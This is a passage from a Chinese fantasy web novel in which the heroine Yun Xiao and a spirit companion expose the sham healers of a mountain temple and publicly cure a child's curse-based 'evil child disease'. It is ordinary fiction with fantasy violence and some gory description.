这个时候的天已经快要完全暗下来了,炼丹的小塔周围早就灯火通明,前厅内坐着好些人,他们都不拘礼数,盘膝于蒲团上,远看倒真像是一群仙风道骨的道长正在论道。 前厅两层阶,高阶上三张蒲团,坐在正中间着玄衣的人面如冠玉,脸看上去不过二十多岁的样子,却满头银发披在身后。 在这人的一左一右各坐着个四十多岁的男子。 阶下六座,坐了四个人,三男一女,看上去也都四十上下,大家统一的特点大约就是脸色一样的很淡然,像是长期素食,身形偏瘦。 云绡踏入前厅,厅内的人,包括那个谢神医同时睁开了眼。 七双眼睛一并朝云绡看过来,有的好奇,有的轻蔑,各怀心思,只有那个谢神医的眼浓得像墨一样,在灯光下也看不出他的情绪。 左侧的中年男子笑着道:“小友请坐。” 云绡瞥了一眼左右两边的蒲团摇头道:“我来见谢神医是有正事,事关人命,就不坐下闲聊了。” 厅内几人脸色瞬间难看了起来,这还是他们第一次被一个年轻的小姑娘如此甩脸色。 云绡一看这些人,脑海中立刻就形成了数个词语,什么“道貌岸然”,什么“装腔作势”,什么“衣冠禽兽”之类的。 “听说,你会请神交神?”右边的男子绷着脸问。 云绡点头:“是会,但这也不是重点,重点是,我能治恶童病,我爬了一天山到这里来,也是为了治病救人而来的。” 阶下一人道:“恶童病持续多年,未曾找到病因,无法根治,便是有谢神医的符也只能防止他们将病症传给其他人,你说你能治,怎么治?不如说出来给我们听听,看是否有用。” 云绡道:“我还没见过活着的恶童病呢,我昨日在城中转了一圈,医馆也问了数家,没有一家医馆里有得了恶童病的孩童——” “哼!”不等云绡说完,便有一人打断她的话:“实在可笑!你连恶童病都没见过,居然就敢大言不惭地说自己能治恶童病!果然又是个借机走捷近的骗子!” 云绡眉头紧蹙,她没开口,又一个人出声:“清涧,将人带出去!” 云绡的脑海中又立刻形成了数个词语,什么“不可理喻”,什么“蛮不讲理”,什么“狂妄自大”之类的。 “好好好,文的不行,非要来武的是吧?”云绡说完这话,袖子里的双指便搓出一张定身符,她人都没回头,直接将那张符甩在了门外赶来的清涧身上。 清涧就是刚才引路的那个人,此刻瞪大双眼不可置信自己的身体就像是被冰冻住了一般,瞬间失去了所有肢体触觉,他尝试挣脱,可甚至连眼珠子都不能滚动。 阶上阶下几人都在云绡露出这一手后立刻起身,也不装仙风道骨,纷纷站成一排将纹丝不动的谢神医护在身后。 其中一人指着云绡先发制人:“你来陇山究竟有何目的?!你不是来救人的!我看你是来杀谢神医,想要祸害百姓的!” 钟离湛听到这些话,原本入小塔之后便一直严肃的脸色也在这个时候变了变,忍不住气笑了。 “很好笑!是吧?”云绡看着他,颇有些瞋目结舌:“居然还有这样给人扣帽子的!演都不演,直接就扣上来了。” 说着,她有些无辜地睁大双眼,还往头上摸了摸,问钟离湛:“我这帽子大不大?” 钟离湛压下嘴角:“……调皮。” 云绡在宫中长大,什么样的真话假话真假掺半的话都听过,宫里的妃子、宫女,哪儿个不都数张面具,一人千面?所以她踏进前厅,就立刻发现这几个人其实都是装模作样的。 “不像,演得一点也不像!”云绡也指着那几个站成一排的人道:“你们就像庄稼汉披锦衣,充阔,也像刽子手执狼毫,作秀!” 说完,云绡眼眸一亮,讨巧地朝钟离湛笑了笑:“我这两句说得好不好?” 钟离湛哼笑一声:“很巧妙。” 六个人再加上一个不能动弹的清涧都用震惊且怪异的眼神看向云绡,目光不断在她身边扫过,不可置信她究竟是在和谁说话?也不像是自言自语的疯子。 “你、你你、你究竟是什么人?!” 声音才落,云绡就给他们几人各一张定身符,警惕地朝那几人走去,在他们惊恐的目光下拨开其中两人的身体,任由他们倒地,露出了仍然端坐在蒲团上,从始至终都没出声的银发男子。 “谢神医?”云绡看向他,凑得近,十分仔细,像是要从那位谢神医的双眼中看出点什么来。 可惜,这人就跟个木头一样,除了还在呼吸之外,没给云绡半点回应。 哪怕他亲眼见到云绡将其他人都定身。 云绡微微挑眉,她勾起嘴角道:“假神医之名,屠戮苍生者,该杀!” 说完这话,她立刻拔出靴子里的匕首,举起锋利的匕首就朝那谢神医的胸膛刺去。匕首尖端陷入轻薄的衣料,割破衣裳,挨着心脏跳动的地方。 云绡的手很稳,她甚至没让谢神医破点油皮。 “嘁,我还真以为你毫无所动。”云绡收回了匕首,直起身 子对钟离湛道:“方才我要杀他的时候,他那双眼里有兴奋呢,哥哥,该不会我只要下手杀他,就会被什么类似反咒之类的东西给祸害了吧?” 银发男子见匕首被收走,他的双眼又归于沉寂,如同一片深潭,亦如死灰。 钟离湛目睹这一切,忽而道:“绡绡,借一下你的身体。” “哎?” 云绡还没反应过来呢,突然眼前便一片漆黑,她只察觉到自己抬脚将端坐着的人踹到,一脚踩在对方身上,手中的匕首割断腰带,似乎挑开了那位谢神医的衣裳。 云绡:“!!!” 钟离湛要用她的身体,干什么啊?! 第90章 漂亮的圆眼中闪过冷凛之光,身着橙红色衣裙的少女气势骤变,她动作很快,一脚将谢神医踹倒之后便踩在他身上,用匕首割开了他的衣裳,去看他的胸膛。 谢神医的眼底闪过些许错愕,可他并未挣扎,便就这样大咧咧地躺着,任由对方看。 谢神医的身体很白,甚至是白里透红,很有血气的气色。他的皮肤上密密麻麻的爬满了咒文,那些咒文字迹清晰,一笔一划没有任何错漏,刻得极深,甚至在刻咒之时还用了符,让这些咒保持着最完整的疤痕又不会随着体型改变而变化。 钟离湛借着云绡的眼,一字一句地将他胸膛上的咒文看了一遍,读完之后他再抬眸与谢神医对视,看向他死寂一般的眼神,问:“这些,是谁刻下来的?” 谢神医不说话,钟离湛也没逼问,他收回了脚对谢神医道:“自己将衣裳整理好。” 说完,他背过身去,魂魄离开云绡的身体后托起了云绡的手掌。 云绡打算回头看一眼谢神医眼下是死是活呢,钟离湛按着她的脑袋不许她回头,轻声道:“他衣裳还没穿好。” 云绡:“……你到底对人家干了什么啊?” 钟离湛双眸微眯,几分危险:“你又在胡思乱想什么?” 云绡笑出了梨涡,假装单纯:“没有呀~” 钟离湛嗤地一声笑了出来,他将云绡的手心朝上,手指缓慢地在她的手心写下了几个字,他问云绡:“这个字迹,你见过吗?” 云绡顿了一下,在钟离湛重复时,她握紧了手点头:“见过的,是那个教我反咒之人的字迹。” 钟离湛也猜到了,他的话题忽而转向他们在进入小塔之前在长生殿院子里看见的五行阵。五行相克也相辅相成,长生殿外的围墙被五行柔化了钝角,形成包裹之势。 破其中任何一处,都不会阻断陇山大阵的运行,朱墙上的点线排布顺入地底,形成蛛网一般的牢笼,没有一处可以逃脱。 而那些蛛网牢笼真正束缚住的只有一个人。 谢神医的衣裳穿好了,他还是盘膝坐在那里,似乎对生死都毫不在意,一双眼灰蒙蒙地落在门外,失焦到倒映不出任何景致与人。 云绡回头朝谢神医看去,破天荒地说了句:“原来你也有羞耻心啊?” 谢神医不为所动。 云绡又道:“如若没有羞耻心,就不会真的将衣裳穿好,可你若有羞耻心,便说明你其实也有正常的七情六欲,又为何会把自己装成……木头人的样子?” 云绡的话并未得到答案,索性她也不需要谢神医的答案,她来陇山就是为了给自己造势的。 钟离湛想要见到谢神医,弄明白渡仙城的真相,云绡也想要让所有生病的信任渡仙城的人知道,这里其实是个吃人不吐骨头的魔窟。 光凭她一张嘴去说,舌头说破了喉咙说哑了也不会有人相信,云绡也不想被人当成疯子,叫渡仙城里的人绑了丢出去。 所以她才要当着所有在渡仙城中排队上陇山的人面,一步步走上陇山长生殿,让那些渴望能被救治的人看见,她是长生殿里的谢神医请入的高人。 当然,光是这一点云绡也不能取得那些人的信任,所以她才会对掌柜的说,她能治恶童病。 一个连谢神医也毫无办法,几十年来害了无数条小孩儿性命的恶病,她能治!都不用云绡自己去到处说,相信不出一天,她入住的那家掌柜的便将她的名声洒遍全城了。 云绡的势已经造出去了,就等一个万众瞩目的时刻,证明她的确有通天的本领,在那些求活的百姓眼中她是值得信任的人,那她揭露渡仙城的真相,可信度也会更高一些。 她等的那个万众瞩目的时刻,也得仲卿来配合,所以在仲卿有消息之前,云绡都只能在这里等着。 她随意往谢神医身边的蒲团坐下,对那几个站在厅内的人也毫不在意,随性地双手撑在身后,疏懒的姿势。 云绡像是自言自语:“我来前,在旖族境内的小镇中听见了好几例恶童病,那些人都匆匆将他们的孩子往渡仙城送,希望能得到你的一张符,看看能不能救命。” 她又道:“我现在住的那家客栈里也有一个恶童病的孩子死了,那家夫妻衣着鲜亮,孩子生前装扮得十分精致,一看就是非富即贵,绝对舍得用符延长孩子的生命。他们用了你的符,可仍然无法阻止孩子的死,真可怜啊……” 谢神医毫无反应。 云绡眸色暗了下去:“后来,我想找一例还活着的恶童病,看看那孩子身上到底是什么咒,可你说奇怪不奇怪?我找了那么多家医馆,都没再找到第二个得了恶童病的小孩儿。” 谢神医终于有些点儿反应,他的眼睛像是长时间没动过,眼珠子僵硬地落在云绡的身上,像是要看透她。 “明明那么多孩子都被送来了渡仙城,可渡仙城中却没有孩子,那些孩子去哪儿了呢?” 云绡单手撑着下巴,说到这里之后便没再继续这个话题,反而和钟离湛聊起了定身符,持续保持一只手平摊在二人之间,你来我往地比划着。 谢神医的目光自落在云绡身上后就再也没动过,眸光中,似有烛火跳跃。 - 天色越来越暗,子夜过去,身中定身符的人身体长时间保持同一个姿势,血液也不流通,四肢百骸都在发疼,他们的身体不受控地冒出冷汗,再痛苦也无法发出声音。 云绡将几个蒲团堆在一起,躺在上面枕着钟离湛的腿睡了一觉,一觉才醒,她分给徐容靳和仲卿的同生符其中一张有了回应。 云绡会画传音符,那符沟通更方便,但她的本领还没能做到千里传音的地步。就算她有那个本事,仲卿能琢磨出如何使用,徐容靳也一窍不通。 所以云绡给二人下达的任务就是,一旦任务完成,便将同生符的符纸摧毁。 那边的同生符毁了,这边的同生符也会发生同样的情况。 钟离湛最开始见她将同生符这样用,沉默了好长时间。 要知道同生符是为同生,两个人将同生符化入身体之后,他们的性命也绑在了一起。 云绡当时知道有这种好东西,兴奋了很久,她想的不是同生,而是同死,还抬起一张天真的脸笑盈盈地看着他道:“那如果我有一个仇人,我恨他恨得要死,只要能将这符化入他的体内,我再转身去跳崖,他不就也跟我一起命丧黄泉啦?” 钟离湛:“……这么说也没错。” 云绡笑问:“你怎么会想出这么恶毒但着实有用的符啊?” 钟离湛:“……” 他能说用同生符同死的这个点子……他目前只在云绡这里听过吗?这张符当初被他创作出来的初衷,是因为他遇见了一个老者带着孙子乞讨。 老者的孩子在大火中失去生命,唯一的孙子也断了手脚,毁了容貌,而他侥幸逃脱,与孙子相依为命。 “战乱四起,他没钱也没家,用一张草席两根麻绳,将他的孙子绑在了自己的身上。即便活着那样艰难,却也仍然艰难地活着……我说我可以给他完成一个简单的愿望。”钟离湛回想起当时的场景道:“他没要钱也没要家,他问我他的孙子腿能不能治好。” “可惜他的孙子伤时年幼,我遇见他们时他已经成年,四肢萎缩,难以再生……我说我做不到,他就说,如果可以的话,他想和他的孙子一起死。” 老者只知道一旦他死了,他的孙子也一定活不成,与其让他在他死后痛苦地苟延残喘,倒不如两个人一起安详地睡去。 于是钟离湛画出了这张同生符,同生符的主符为命寿,副符为同生。 他将主符放进了老者孙子的身体里,他的孙子年轻,还有几十 年寿数,老者有健全的四肢,他能照顾好孙子,若无外力迫害的话……只要他的孙子活一天,他也能跟着活一天。 钟离湛希望,他能躲过生命中的劫难,能找到他心中可以与孙子一同安度晚年的净土。 云绡听了他说的过去,双眼亮晶晶地看向他,声音纯真道:“你好好哦。” 她的手,轻轻按在了钟离湛的胸膛上,指腹抚过,轻声道:“钟离湛,你好温柔啊。” 说出他很温柔的少女,转头便将同生符的副符拿在手中,让仲卿和徐容靳拿着主符离开,一旦主符被烧或者被撕毁,她这边立刻就能知道结果。 “嗯!比传音符好用!还不用怕暴露!”她是这样说的。 钟离湛:“……这样用,也行吧。” - 眼下同生符被毁,便说明仲卿那边完成了任务,只是徐容靳还没消息,云绡不打算等了。 天已经彻底亮了,也到了让谢神医看诊的时候了。 云绡在那几个站了一整夜,头脑都混沌了,整个人都精神萎靡的七个人身上另外贴了几张符。符在接触到那几人的身体时化为无形的线,云绡将那些线一根根握在手中。 她歪着头朝谢神医的方向看去,眉眼弯弯:“你是自己跟上我呢,还是我拉你走?” 云绡说这话时动了动手中的线,那几个人便像是傀儡一样跟在云绡身后走了两步。 沉默不言的谢神医,仍然用一种意味深长的眼神看云绡,他最终站起身来,主动跟在云绡身后。 云绡心情颇好地走在前头,她身后那六个装模做样的男女,还有清涧,都木讷着一张脸,实则心中满是惊恐。 他们陇山到底来了位什么大罗神仙?! 这是什么妖术?! 云绡边走,偶尔回头朝谢神医看去一眼,轻声对钟离湛道:“他好奇怪啊。” 钟离湛嗯了声:“但想解恶童病,恐怕非他不可。” 云绡了然:“这就是你留他一命的原因?” 钟离湛朝云绡瞥去:“先配合你,将局做好,揭露渡仙城的真容,避免更多不知情的人受害。” 至于他和这位谢神医……钟离湛另有话要问。 - 陇山脚下,仲卿带着一个壮年男人匆匆要往山上走,他挤着上前,排队看病的谁也不让。 那壮年男人大声喊道:“求求你们!求求你们让我上去,我不找谢神医!我不会耽误你们找谢神医看诊的!我要找的另有其人,那人能治恶童病,我的孩子、我的孩子快要撑不住了啊!” 壮年男人说完,连忙朝那些排队的人磕头。 咚咚咚—— 他很用力,额头不一会儿就磕破流血,他的眼底满是绝望,又残余一丝希望。 世人谁都知道,便是谢神医也救不了得了恶童病的孩子,他们看向仲卿怀中已经烂了半边身子的孩童,都是被病痛折磨的人,谁都不忍心。 既然他不是冲着谢神医去的,那便不碍着他们的事,放他过去就当为自己行善积德。 “多谢!多谢诸位!多谢!” 男人顶着满头的鲜血,对着仲卿怀中的孩子喊道:“金宝!金宝你撑住!爹会想办法救你的!” 城中无恶童病患者,这是云绡转了一天医馆得出的结果,她给仲卿的任务是让他在城外守着,患了恶童病的孩子只要还活着,便想尽办法将其带上陇山。 仲卿本抱不住这么大的孩子的,也是因为对方身上的肉都烂了快一半,他才能抱得动。 或许是这孩子命不该绝,他不是两三岁的孩子,他已经七岁了,这让他多了一丝喘息活命的机缘。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 云绡在昨日上山的时候也远远看见了谢神医是怎么给那些排队求医者看病的。 谢神医给人看诊不出长生殿,而是在长生殿前院横着一方长案,他就坐在长案后头,病人排队从他跟前走过。 云绡让谢神医自便,留着如今已经被操纵着仍然不能自行动弹的几个人围在谢神医身边,自己大咧咧地往长生殿的主大门前一站。 长生殿八开的大门,一边侧门进,一边侧门出。正中间的门虽然开了,但因放了一架香炉鼎,没人会从那里走,但所有人都从那边经过。 云绡一身橙红色的衣裳十分显眼,他们都认得出这是昨天被谢神医请来山上的小姑娘,也不知有何大能耐,像个拦路虎似的站在长生殿前也没人敢阻拦她。 云绡控制的人不多,除了那六个看上去冠冕堂皇的衣冠禽兽之外,就剩下清涧了。 但这七个人连着谢神医今天一早都是跟在云绡身后从炼药的小塔内出来的,住在长生殿内身着暗红色长袍的弟子们都目睹了他们的师父和师叔对云绡“毕恭毕敬”,对她的各种行径自然也都不敢置喙半分了。 一条上山的路很长,云绡在门前站了好一会儿也没看见仲卿,迎面吹来的风着实有些冷,她干脆还是回到了长生殿内,就着香炉边上暖和点,顺便看看谢神医是如何给人看病的。 来见谢神医的病人都要离开他五步之外,他能治的病症,看一眼就知道如何配药。写好了药方,也在药方下面写了如何服用,他便让病人带着药方去另一边找长生殿的弟子。 不好看的病症,谢神医的手指便会轻轻点一点长案上的铜铃,病人就十分自觉地坐在一旁,给自己的手腕上绑上了红线后,将手放在圆凳上方的腕托上。 悬丝诊脉,云绡看得颇为有趣。 短短一刻钟,谢神医看病如神速,他写药方也行云流水,这一刻阳光照在他的身上,镀上了一层浅金,谢神医也仿佛真成了个能消解百病的在世佛陀。 有一个怀了孕的妇人挺着大肚子上前,她身上遮掩得密不透风,连眼前都遮了一层纱帘,将自己的病症说给谢神医听。 她怀孕极为不易,腹中原有三子,更是多番小心。前段时间梦到有恶鬼剖开她的肚子将她的孩子挖出来了,因为惊吓过度,妇人的身体也消瘦下去,而她找的大夫都说,她肚子里的孩子就剩下两个了。 可偏偏她身体怪病多,不能见风,否则起疹子,不能见光,否则也会皮肤发红发痒,还有许多药她也不能吃,否则会呼吸困难,更会危及性命。 妇人为了保全自己的孩子,就只能千里迢迢来找谢神医了。 云绡听她这么说,也想看看那谢神医会怎么治。 谢神医闻言,居然从长案下的抽屉里抽出了一张符纸,执朱砂笔给那妇人画了一张祛秽符。 他在纸上留下一句,让妇人将这张符一直戴在身上,贴身放着,好吃好喝地养着,直到孩子生下来为止,至于药,她倒是无需服用。 妇人看了那张纸,小心翼翼地将符折好了从衣襟处塞进去,仿佛这样真的能救她孩子一命。 云绡眨了眨眼,撞了一下钟离湛的胳膊道:“那就是寻常祛秽符,对吧?” “嗯。”钟离湛目光晦涩,不再去看谢神医。 云绡问:“那个妇人的孩子真的能保下来吗?” “本来也无病,庸人自扰之。”钟离湛道:“她过于担心 孩子,所以日有所思夜有所梦,晚间梦见了恶鬼挖掉孩子后三个孩子就剩下两个,也是因为她的孩子并未成型,而她疑神疑鬼少食少睡,身体精力都跟不上,腹中孩子无供给后便分化了其中最脆弱的那个。” 云绡还是第一次听到这种说法:“胎儿吃胎儿吗?” “可以这么说吧……”钟离湛不想将这事儿说得太邪恶诡异,但事实就是如此。 “妇人因为三个孩子变成了两个所以才来找谢神医救治,他给一张祛秽符,是因为怀孕之人阳气弱,的确容易被邪祟趁虚而入,有此符在,她至少能睡得安稳一些。好吃好喝地度过孕期,孩子也就能安然生下来了。” 钟离湛解释完,云绡明白了:“主打一个安慰作用!” 说完,她又用一双亮晶晶的眼朝钟离湛看去,双手握成拳头放在下巴两侧,整个人都像是开了花儿似的好话往外直冒:“你好厉害啊,懂得真多!” 努力压下嘴角,下巴却没忍住上抬了抬的钟离湛:“……咳,活得久了,什么都能见到。” 半山腰处的喧闹声已经传上了长生殿,那声音由远及近,很快就到了长生殿百米之外,崎岖的山路上露出了两道身影。 云绡看见仲卿,又摆出一副高深莫测的模样走到那放置着香炉鼎的正门前,惹得周围人频频侧目。 甚至在她的身后,正在长案后给人专心看病的谢神医,也将目光缓缓落在了云绡的背后。 钟离湛回头看去,恰好看到对方看过来的这一眼- “让让!麻烦让让!我不找谢神医,让让!多谢多谢,多谢诸位,我赶着救命啊!” 壮年男人抱着个已经没有意识,正在大口大口喘气的孩子朝长生殿前跑了过来。 仲卿帮他抱着半路,实在抱不动了,这个时候就连爬山体力都跟不上,哼哧哼哧地跟在了男人身后。 云绡看见人时也有些装不住了,上前两步迎人,顺手扶了一把差点儿倒下去的仲卿。 仲卿这个时候还没忘记云绡交给自己的任务呢,借着巧劲儿甩开云绡扶着自己胳膊的手,噗通一声就真跪在了云绡面前。 云绡吓得赶紧往旁边挪了两步,一双眼瞪大了看仲卿,满眼写着:老头儿!你这是干嘛?你想折我寿?你想让我死啊?! 仲卿还在大喘气,头也没抬,拉着李大牛一把,让李大牛也给云绡跪下了。 他扯着嘶哑的嗓子就喊:“就是她!这位仙子能治恶童病呢!快,快给仙子跪下,求仙子救人啊!” 仲卿这么一喊,长生殿前的所有人都朝云绡看过去了。 恶童病?那可是所有人心中最可怕的病,这世上能要人性命的病不少,可专发病在孩子身上的不多,更可怕的是恶童病能传染!往往某个街道里,某一家的孩子得了恶童病,三五年内那一条街里但凡家中有小孩儿的,都躲不过去! 所有人都说,恶童病是破不掉的诅咒,就连谢神医也对此毫无办法,可此刻却有人说,眼前这位妙龄少女居然能治恶童病? 周围人闻言不敢靠近,他们家中有孩子的,生怕自己粘上了一点儿回头带给家里孩子。 可也有人好奇,忍不住探头探脑。 “还真是恶童病!” “你看那孩子,身上已经烂得没有一块好肉了……” 周围人议论纷纷,李大牛全都没听,他抱着自己的孩子发着抖捧到云绡的跟前,满脸是泪,额头上的血迹也干了,整个人看上去可怕又凄惨。 和他同镇子一个雨夜里出来的同伴好几人,只有他家金宝还活着了。甚至有个孩子还没出镇子的范围就咽了气,可他们谁也不敢将孩子带回去。 这病能传染,带回去就是害了其他人。 李大牛前头三个孩子,都是得了恶童病死的。每一个孩子死后,他将家里能扔的都扔了,小孩儿的东西都烧了,家里的柚叶从未断过……金宝是活得最长,养得最精的那个,他从小到大没离开过家人眼前,七岁了都没走出过家门口的那条街。 金宝过了五岁那年,他们一家如同死里逃生,给金宝庆生时,真以为自己躲过了厄劫。 可金宝若是活不成,他家翠儿就要疯了,老两口也要受不住,他自己也坚持不下去了。 李大牛抓住一切机会,只想要苍天能给自己一条活路。他在城门前碰见仲卿时,听到仲卿说他知道一个人能治恶童病,李大牛想也不想就跟着仲卿走了。 仲卿那一身仙风道骨的气质有一定的欺骗性,可李大牛也是走投无路,如今他就跪在这位仙子跟前,不论少女看上去有多不可信,却也是他能抓住的唯一救命稻草。 云绡见那孩子出气多,进气少,眼看着就不行了,便对李大牛说:“别磕了!先把他平放在地上,解开衣裳给我看看。” 李大牛连忙将孩子放好,颤抖着手解开金宝的衣裳,生怕一不小心带下一块金宝身上的肉。 钟离湛已经在看了。 云绡跟着蹲下,瞥了仲卿一眼低声道:“你还跪着干什么?快起来!” 仲卿:“不行,爬山太累,腿软了,我起不来。” 云绡:“……” 她打算扶仲卿一把,那边钟离湛突然拉着她的手,将她的注意力转移过去。 钟离湛无法触碰到这世间除了云绡之外的活人身躯,所以他在面对金宝的时候也没太多顾虑,手指直接朝金宝正在溃烂的伤口而去。 云绡顺着他的指尖去看,金宝的身上目前至少有十多处主要伤口正在迅速恶化,那些伤口里像是有什么活物一样扯动着皮肉。 钟离湛手指挖去的地方,恰好有一块肉从金宝的身体上掉了下来。像是腐烂的肉挂不住,可实际上那块肉原本还算新鲜,是在她的眼皮子底下烂的。 腐烂得很怪异,所有伤口都没有血液流出来,只有水和人油保持着肉的软烂,掉在地上还在抽搐,没一会儿便成了肉干。 钟离湛的手指探入金宝的身体里搅动。 旁人看不见,云绡看得见,钟离湛在金宝的身体上翻搅了好几下,才眉头一拧,两指并拢对云绡道:“我按住它了,翻开这块肉,看看是什么咒。” 云绡没想到这咒竟然像是活的一样会动,她连忙伸手,在众目睽睽之下撕开了金宝肚子上的一块烂肉。 有人惊呼,有人不忍,李大牛也在拼命发抖,但谁都没有阻止。 直到云绡那双沾满脏污的手翻了好几层,就差要将金宝开肠破肚了,这才将一丝诡异的东西,暴露在众人面前。 李大牛离得近,看得最清楚,他瞪大了双眼不可置信地望向金宝肚子上的细纹。 不!准确来说不是细纹,那东西很细,像头发丝一样,却一个个缠绕在一起,扭曲地如同活了的线虫。 此刻云绡的一只手压着金宝的肉,另一只手压着那些线虫,眉头紧锁。 “熟悉的字迹。”云绡道:“还是那个人的字迹没错了,但……这咒文为何看上去也有些眼熟,好像在哪儿见过。” 云绡仔细想了想,哦了声,朝一旁脸色更加难看的钟离湛看去:“你看它与同生符,是否有点儿异曲同工之处?” 钟离湛道:“你按住了,我将其它的咒都逼至此处,挖出来看到完整的,就明白它到底是什么鬼东西了。” 云绡当然不会觉得,这要人命的东西出自钟离湛之手。 可钟离湛在借用她的身体看光了谢神医的身子之后,的确有些太安静了。 云绡想知道,他到底在谢神医的身上看见了什么? 第92章 李大牛大气也不敢喘,仲卿喘够了之后凑过脑袋来看。 云绡按住了那如同线虫一样的咒文,配合着钟离湛将分布在金宝身上十多处的咒文全都汇聚在了他肚子这一块。 在李大牛和周围人的眼里,便是金宝的身上突然多出了好多细小的红线虫爬了出来。 李大牛不敢碰金宝,眼泪不住地往地上砸,他跪在金宝跟前凑到孩子耳边小声地喊:“金宝,金宝乖,坚持住啊孩子,坚持住。” 汇聚在一起的咒文全都堆积在了孩子肚子上的腐肉处,云绡空出的那只手用力一抓,连皮带肉地抓了一大把下来。 离得太近不幸被溅上几点肉沫的仲卿:“……呕!~” 云绡暂时顾不上他了,只道:“给那孩子保命!” 干呕了两下也没吐出来的仲卿连忙正色,抹了一把长胡子,半蹲在金宝跟前从广袖中掏了掏,掏出一瓶丹药。仲卿倒了几粒丹药喂给了金宝,又往他身上撒了点儿药粉,贴了两张符。 这保命的办法与他之前救许容靳时一样,只暂且让这孩子不会死就是了。 众人惊呼声连连。 所有人都看见了,那小孩儿的身上有怪虫,怪虫跑到小孩儿的肚子上,然后这少女就将那块肚子肉给扯下来了! 云绡手钻攥着肉,可她无法控制那些咒文乱跑,钟离湛一手握着她的手腕,另一只手在她的手掌周围简单设下了个封印。 “布阵,别让它跑了。”钟离湛说道。 云绡迅速与他配合,脚下的石台太干净了,她转身朝香炉鼎内抓了一把香灰往地上一撒,自己站在香灰中央,半蹲着用空闲的那只手在灰 上写写画画。 云绡的速度很快,阵中结合着符咒形成捆缚之势,启阵后,云绡才将手中的肉丢在了香灰中。 那块被封印的肉,在所有人的眼中迅速腐烂,化作肉干,而那肉中缠绕着的线虫也朝四面八方钻了过去,想要寻找新鲜的血液。 活着的咒,这也是钟离湛第一次见到。 眼看着细小的线虫爬上了香灰,围上来看热闹的人纷纷后退,议论声再度响起来。 咒文无法找到新鲜的血液,很快便要失去它的作用,不过它四散开来倒是如同一张展开的纸,将扭曲在一起无法辨别清楚的咒文,全都清晰地摊开在云绡面前。 如她所想,这咒文的确有一点像同生符。 钟离湛扫了一眼那咒,不过片刻,咒文的颜色便越来越淡,最后只在它们挣扎钻弄的香灰上留下了浅浅的痕迹。 “什么怪东西?”云绡问钟离湛:“这世上居然有活着的咒吗?” 钟离湛道:“它不是活着的,这咒文被人下了禁制,以血生效,无血则消。若要说个类似的,大约就像是旖族女子一样,旖族女子的咒以命为寄托,自生下来就有,死亡便消除,而这个咒则遇血而生,血尽而去。” 所以,其实不是咒活着。 方才咒文里都还有血,故而咒文看上去是红色的,血没了,咒文也消失了,此刻香灰中除了那块腐肉干,什么都不剩。 云绡想问钟离湛,为何那咒文看上去与同生符有些像。 这已经不是第一次了。 教云绡反咒之人有钟离湛亲手绘制的火符,而曦族会的符咒,大多也都出自于钟离湛留在王宫里的遗物,眼下连同生符都被用来作恶。 云绡想,她果真不是个做坏蛋的料,当初信誓旦旦让钟离湛乱世,可实际上她根本干不了乱世这种事! 她也见到了同生符,所想的最多是一命换一命,用来迅速报复她的仇人。 可这世上还有一种人,能将同生符转化为如此诡异的咒,害了无数条孩子的性命。 同生符非一张符,有主有副,云绡方才一眼瞥过香灰里的,大约能看出来这咒是同生,而主符在哪儿,又有何用,她并不知晓。 她心中满是疑惑,这个时候也都没问出口,一来周围人太多,她总自言自语显得自己很像个疯子。二来还是要趁热打铁,她才造起了势,不能让人冷下去。 云绡假装自己方才和钟离湛的对话是在念咒,在咒文彻底消失时这才假模假样地比了个结印,而后对李大牛道:“我来看看他的身体。” 李大牛连忙让开身位,仲卿也起身跑到一旁香灰处,去研究香灰上留下的痕迹。 云绡在金宝的身体上画上符咒,咒印封入金宝的体内,治疗他身上严重的伤口,包括方才被她抓下来的那一大块肉。 金宝的身上伤痕愈合,皮肤也变得坑坑洼洼的,可至少没有再继续腐烂。 仲卿给他喂的药也在这个时候发挥了作用,金宝迷迷糊糊地睁开眼,看见李大牛的那一瞬哭了出来,声音小到如同猫叫一般。 李大牛看见金宝睁眼了,提着的心终于放了下去,他也劫后余生,抱着孩子呜咽不止。 云绡起身道:“这位大叔,你孩子身上的恶童病已经清除了。” “什么?!真的治好啦?!” “你没看见吗?方才那小姑娘就这么两下子,那小孩儿的身上就跑出来那么多虫子啊!吓死人了,虫子刚还在香灰里钻呢,现在不见了,应当是死了吧?” “没想到这小姑娘真是有本事的,我看她也没怎么使力,就这么一会儿便救了一个孩子的性命啊,这是不是说……之前的那些孩子也都有救?” “我的二全啊!你死得太早了!你若早点遇见这位大仙,你就不会走得那么快了啊!” 人群中一个老太太方才眼也不眨地就盯着这处,在看见金宝扑倒李大牛的怀中哭泣时,回想起自家死了的那个孩子,实在没忍住悲痛地呼嚎了出来。 这条登山路上,不止一个人家里有孩子死于恶童病,他们家中的孩子因恶童病而死,当然也能看出来方才金宝的确是恶童病缠身。 云绡治病的方法迅速,当着他们的面挽救了一个孩子,叫他们回想自己孩子的不幸,一时间山中哭声不断。 “她,她真的是仙子!她真的能治恶童病啊!” “求求仙子!求求仙子救救我们家孩子吧!我家大儿子和闺女都是恶童病死的,家中现在还有个刚出生的孩子,就怕她也躲不过去!求仙子跟我去一趟家里,我便是倾家荡产也感恩仙子的大恩大德!” “求仙子救救我家的孩子吧!我家也有个孩子,我们镇子上因为恶童病死了不下百来名小孩儿了,我就怕我家就是那下一个啊!” 李大牛也在这时回过神,他抱紧金宝不住地朝云绡磕头,嘴里满是谢恩的话,将他额头上好不容易结痂的伤口又给磕出血来了。 一时间好些人都朝云绡跪了过来,她救了一个得了恶童病的事迹,顺着上山这条路的百姓口中,以飞快的速度朝渡仙城中传去。 云绡转身,再看一眼长生殿。 此刻长生殿的殿门前围着许多人,原先来看病的也都从殿内出来,纷纷围绕着云绡,将她当成了在世神仙,便是长生殿里穿暗红色长袍的弟子们也都用一种崇拜和惊讶的眼神看向她。 云绡的目光落在了谢神医的身上。 他没坐在长案后,不知何时走到了大门前,脚尖贴着门槛的位置,就这么站在八开大门的正中间,一双眼落在被云绡洒在地上的香灰上。 谢神医察觉到云绡朝他看过来,他缓缓抬头,对上了云绡的视线。他的眼中终于多出了一些情绪,激动的,痛苦的,渴望的。 沉默的人,也终于舍得张开口,无声地对云绡说了一句话。 他薄唇一张一合,只有三个字——杀了我。 云绡看得懂唇语,她有些惊讶。 钟离湛还没说要对谢神医动手,云绡便不会轻易杀了他,当然她也没打算放过他。 在眼前众人都将她奉若神明之后,云绡终于抬起手。 全场噤声,无数双眼睛朝云绡看去。 云绡道:“我来渡仙城,是因为我途径一处镇子,听到镇中哭声才知道有孩童得了怪病被家里人送到渡仙城,这才过来看看究竟。” “恶童病,如我所料,它其实不是病!” 